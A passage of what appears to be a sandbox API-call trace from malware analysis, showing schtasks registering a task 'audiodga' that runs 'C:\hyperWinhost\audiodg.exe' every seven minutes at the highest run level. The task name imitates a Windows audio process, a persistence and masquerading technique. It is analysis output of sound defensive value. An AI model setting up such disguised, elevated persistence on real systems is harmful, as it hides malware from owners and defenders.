_memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.586] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ed|") returned 4 [0071.586] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.586] lstrlenW (lpString="|ed|") returned 4 [0071.586] lstrlenW (lpString="|f|") returned 3 [0071.586] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0071.586] SetLastError (dwErrCode=0x490) [0071.586] lstrlenW (lpString="it") returned 2 [0071.586] lstrlenW (lpString="it") returned 2 [0071.586] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.586] lstrlenW (lpString="f") returned 1 [0071.586] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.586] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|it|") returned 4 [0071.586] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.586] lstrlenW (lpString="|it|") returned 4 [0071.586] lstrlenW (lpString="|f|") returned 3 [0071.586] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0071.586] SetLastError (dwErrCode=0x490) [0071.586] lstrlenW (lpString="et") returned 2 [0071.586] lstrlenW (lpString="et") returned 2 [0071.586] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] lstrlenW (lpString="f") returned 1 [0071.587] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|et|") returned 4 [0071.587] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.587] lstrlenW (lpString="|et|") returned 4 [0071.587] lstrlenW (lpString="|f|") returned 3 [0071.587] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0071.587] SetLastError (dwErrCode=0x490) [0071.587] lstrlenW (lpString="k") returned 1 [0071.587] lstrlenW (lpString="k") returned 1 [0071.587] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] lstrlenW (lpString="f") returned 1 [0071.587] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|k|") returned 3 [0071.587] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.587] lstrlenW (lpString="|k|") returned 3 [0071.587] lstrlenW (lpString="|f|") returned 3 [0071.587] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0071.587] SetLastError (dwErrCode=0x490) [0071.587] lstrlenW (lpString="du") returned 2 [0071.587] lstrlenW (lpString="du") returned 2 [0071.587] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] lstrlenW (lpString="f") returned 1 [0071.587] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.587] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|du|") returned 4 [0071.587] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.587] lstrlenW (lpString="|du|") returned 4 [0071.587] lstrlenW (lpString="|f|") returned 3 [0071.587] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0071.587] SetLastError (dwErrCode=0x490) [0071.587] lstrlenW (lpString="ri") returned 2 [0071.587] lstrlenW (lpString="ri") returned 2 [0071.588] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] lstrlenW (lpString="f") returned 1 [0071.588] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ri|") returned 4 [0071.588] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.588] lstrlenW (lpString="|ri|") returned 4 [0071.588] lstrlenW (lpString="|f|") returned 3 [0071.588] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0071.588] SetLastError (dwErrCode=0x490) [0071.588] lstrlenW (lpString="z") returned 1 [0071.588] lstrlenW (lpString="z") returned 1 [0071.588] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] lstrlenW (lpString="f") returned 1 [0071.588] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|z|") returned 3 [0071.588] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.588] lstrlenW (lpString="|z|") returned 3 [0071.588] lstrlenW (lpString="|f|") returned 3 [0071.588] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0071.588] SetLastError (dwErrCode=0x490) [0071.588] lstrlenW (lpString="f") returned 1 [0071.588] lstrlenW (lpString="f") returned 1 [0071.588] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] lstrlenW (lpString="f") returned 1 [0071.588] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.588] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.588] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.588] lstrlenW (lpString="|f|") returned 3 [0071.588] lstrlenW (lpString="|f|") returned 3 [0071.588] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0071.588] SetLastError (dwErrCode=0x0) [0071.589] SetLastError (dwErrCode=0x0) [0071.589] GetProcessHeap () returned 0x1e0000 [0071.589] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce90 [0071.589] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.589] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0071.589] lstrlenW (lpString="LIMITED") returned 7 [0071.589] GetProcessHeap () returned 0x1e0000 [0071.589] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd680 [0071.589] GetThreadLocale () returned 0x409 [0071.589] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0071.589] GetProcessHeap () returned 0x1e0000 [0071.589] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce60 [0071.589] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.589] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0071.589] lstrlenW (lpString="HIGHEST") returned 7 [0071.589] GetProcessHeap () returned 0x1e0000 [0071.589] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd6a0 [0071.589] GetThreadLocale () returned 0x409 [0071.589] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0071.589] GetProcessHeap () returned 0x1e0000 [0071.589] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce30 [0071.589] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.589] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0071.589] lstrlenW (lpString="MINUTE") returned 6 [0071.589] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd6c0 [0071.590] GetThreadLocale () returned 0x409 [0071.590] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0071.590] SetLastError (dwErrCode=0x0) [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x1fc) returned 0x1fc470 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce00 [0071.590] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.590] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0071.590] lstrlenW (lpString="First") returned 5 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xc) returned 0x1fd6e0 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcdd0 [0071.590] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.590] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0071.590] lstrlenW (lpString="Second") returned 6 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd700 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcda0 [0071.590] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.590] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0071.590] lstrlenW (lpString="Third") returned 5 [0071.590] GetProcessHeap () returned 0x1e0000 [0071.590] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xc) returned 0x1fd720 [0071.591] GetProcessHeap () returned 0x1e0000 [0071.591] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd70 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0071.591] lstrlenW (lpString="Fourth") returned 6 [0071.591] GetProcessHeap () returned 0x1e0000 [0071.591] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd740 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0071.591] lstrlenW (lpString="Last") returned 4 [0071.591] GetProcessHeap () returned 0x1e0000 [0071.591] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa) returned 0x1fd760 [0071.591] lstrlenW (lpString="7") returned 1 [0071.591] _wtol (_String="7") returned 7 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0071.591] lstrlenW (lpString="First") returned 5 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0071.591] lstrlenW (lpString="Second") returned 6 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0071.591] lstrlenW (lpString="Third") returned 5 [0071.591] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.591] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0071.591] lstrlenW (lpString="Fourth") returned 6 [0071.592] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.592] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0071.592] lstrlenW (lpString="Last") returned 4 [0071.592] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc160, cchData=128 | out: lpLCData="0") returned 2 [0071.592] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.592] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0071.592] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6e0) returned 1 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd6e0) returned 0xc [0071.592] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6e0 | out: hHeap=0x1e0000) returned 1 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd6e0 [0071.592] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc180, cchData=128 | out: lpLCData="0") returned 2 [0071.592] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.592] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0071.592] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] GetProcessHeap () returned 0x1e0000 [0071.592] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd700) returned 1 [0071.593] GetProcessHeap () returned 0x1e0000 [0071.593] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd700) returned 0xe [0071.593] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd700 | out: hHeap=0x1e0000) returned 1 [0071.593] GetProcessHeap () returned 0x1e0000 [0071.593] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd700 [0071.593] GetLocalTime (in: lpSystemTime=0xbc3b0 | out: lpSystemTime=0xbc3b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x37, wMilliseconds=0x3b5)) [0071.593] lstrlenW (lpString="") returned 0 [0071.593] GetLocalTime (in: lpSystemTime=0xbcc68 | out: lpSystemTime=0xbcc68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x37, wMilliseconds=0x3b5)) [0071.593] lstrlenW (lpString="") returned 0 [0071.593] lstrlenW (lpString="") returned 0 [0071.593] lstrlenW (lpString="") returned 0 [0071.593] lstrlenW (lpString="") returned 0 [0071.593] lstrlenW (lpString="7") returned 1 [0071.593] _wtol (_String="7") returned 7 [0071.593] lstrlenW (lpString="") returned 0 [0071.593] lstrlenW (lpString="") returned 0 [0071.593] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0071.663] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0071.715] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbca30 | out: ppv=0xbca30*=0x2edee0) returned 0x0 [0071.725] TaskScheduler:ITaskService:Connect (This=0x2edee0, serverName=0xbcb10*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbcad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbcaf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0071.768] TaskScheduler:IUnknown:AddRef (This=0x2edee0) returned 0x2 [0071.768] TaskScheduler:ITaskService:GetFolder (in: This=0x2edee0, Path=0x0, ppFolder=0xbcbc8 | out: ppFolder=0xbcbc8*=0x447d10) returned 0x0 [0071.772] TaskScheduler:ITaskService:NewTask (in: This=0x2edee0, flags=0x0, ppDefinition=0xbcbc0 | out: ppDefinition=0xbcbc0*=0x447d60) returned 0x0 [0071.772] ITaskDefinition:get_Actions (in: This=0x447d60, ppActions=0xbcb40 | out: ppActions=0xbcb40*=0x447e20) returned 0x0 [0071.772] IActionCollection:Create (in: This=0x447e20, Type=0, ppAction=0xbcb60 | out: ppAction=0xbcb60*=0x446540) returned 0x0 [0071.772] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.773] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.773] lstrlenW (lpString=" ") returned 1 [0071.773] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0071.773] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0071.774] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0071.774] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0071.774] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0071.774] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0071.774] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0071.774] IUnknown:Release (This=0x446540) returned 0x1 [0071.774] IUnknown:Release (This=0x447e20) returned 0x1 [0071.774] ITaskDefinition:get_Triggers (in: This=0x447d60, ppTriggers=0xbc6c0 | out: ppTriggers=0xbc6c0*=0x447f60) returned 0x0 [0071.774] ITriggerCollection:Create (in: This=0x447f60, Type=1, ppTrigger=0xbc6b8 | out: ppTrigger=0xbc6b8*=0x4465b0) returned 0x0 [0071.774] lstrlenW (lpString="7") returned 1 [0071.774] _vsnwprintf (in: _Buffer=0xbc640, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc638 | out: _Buffer="PT7M") returned 4 [0071.775] ITrigger:get_Repetition (in: This=0x4465b0, ppRepeat=0xbc6b0 | out: ppRepeat=0xbc6b0*=0x446640) returned 0x0 [0071.775] IRepetitionPattern:put_Interval (This=0x446640, Interval="PT7M") returned 0x0 [0071.775] IUnknown:Release (This=0x446640) returned 0x1 [0071.775] _vsnwprintf (in: _Buffer=0xbc600, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc5d8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0071.775] ITrigger:put_StartBoundary (This=0x4465b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0071.775] lstrlenW (lpString="") returned 0 [0071.775] lstrlenW (lpString="") returned 0 [0071.775] lstrlenW (lpString="") returned 0 [0071.775] lstrlenW (lpString="") returned 0 [0071.775] IUnknown:Release (This=0x4465b0) returned 0x1 [0071.775] IUnknown:Release (This=0x447f60) returned 0x1 [0071.775] ITaskDefinition:get_Settings (in: This=0x447d60, ppSettings=0xbcb60 | out: ppSettings=0xbcb60*=0x446320) returned 0x0 [0071.776] lstrlenW (lpString="") returned 0 [0071.776] IUnknown:Release (This=0x446320) returned 0x1 [0071.776] GetLocalTime (in: lpSystemTime=0xbca18 | out: lpSystemTime=0xbca18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x38, wMilliseconds=0x88)) [0071.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0071.776] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0071.776] GetUserNameW (in: lpBuffer=0xbca40, pcbBuffer=0xbca28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbca28) returned 1 [0071.777] ITaskDefinition:get_RegistrationInfo (in: This=0x447d60, ppRegistrationInfo=0xbca10 | out: ppRegistrationInfo=0xbca10*=0x447ea0) returned 0x0 [0071.777] IRegistrationInfo:put_Author (This=0x447ea0, Author="") returned 0x0 [0071.777] _vsnwprintf (in: _Buffer=0xbca40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbc9d8 | out: _Buffer="2023-09-19T17:16:56") returned 19 [0071.777] IRegistrationInfo:put_Date (This=0x447ea0, Date="") returned 0x0 [0071.777] IUnknown:Release (This=0x447ea0) returned 0x1 [0071.778] malloc (_Size=0x18) returned 0x4466c0 [0071.778] free (_Block=0x4466c0) [0071.778] lstrlenW (lpString="") returned 0 [0071.778] ITaskDefinition:get_Principal (in: This=0x447d60, ppPrincipal=0xbcc30 | out: ppPrincipal=0xbcc30*=0x446490) returned 0x0 [0071.778] IPrincipal:put_RunLevel (This=0x446490, RunLevel=1) returned 0x0 [0071.778] IUnknown:Release (This=0x446490) returned 0x1 [0071.778] malloc (_Size=0x18) returned 0x4466c0 [0071.778] ITaskFolder:RegisterTaskDefinition (in: This=0x447d10, Path="audiodga", pDefinition=0x447d60, flags=6, UserId=0xbccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbebc0, varVal2=0xfe), LogonType=3, sddl=0xbccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbcbd0 | out: ppTask=0xbcbd0*=0x446860) returned 0x0 [0071.897] free (_Block=0x4466c0) [0071.897] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.897] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0071.897] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0071.898] GetProcessHeap () returned 0x1e0000 [0071.898] GetProcessHeap () returned 0x1e0000 [0071.898] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd720) returned 1 [0071.898] GetProcessHeap () returned 0x1e0000 [0071.898] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd720) returned 0xc [0071.898] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd720 | out: hHeap=0x1e0000) returned 1 [0071.898] GetProcessHeap () returned 0x1e0000 [0071.898] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x82) returned 0x219be0 [0071.898] _vsnwprintf (in: _Buffer=0xbd310, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbcb78 | out: _Buffer="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n") returned 70 [0071.898] _fileno (_File=0x7feffe22ab0) returned -2 [0071.898] _errno () returned 0x444bb0 [0071.898] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0071.899] SetLastError (dwErrCode=0x6) [0071.899] lstrlenW (lpString="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n") returned 70 [0071.899] GetConsoleOutputCP () returned 0x0 [0071.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0071.899] GetConsoleOutputCP () returned 0x0 [0071.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0071.899] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0071.900] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0071.900] IUnknown:Release (This=0x446860) returned 0x0 [0071.901] TaskScheduler:IUnknown:Release (This=0x447d60) returned 0x0 [0071.901] TaskScheduler:IUnknown:Release (This=0x447d10) returned 0x0 [0071.901] TaskScheduler:IUnknown:Release (This=0x2edee0) returned 0x1 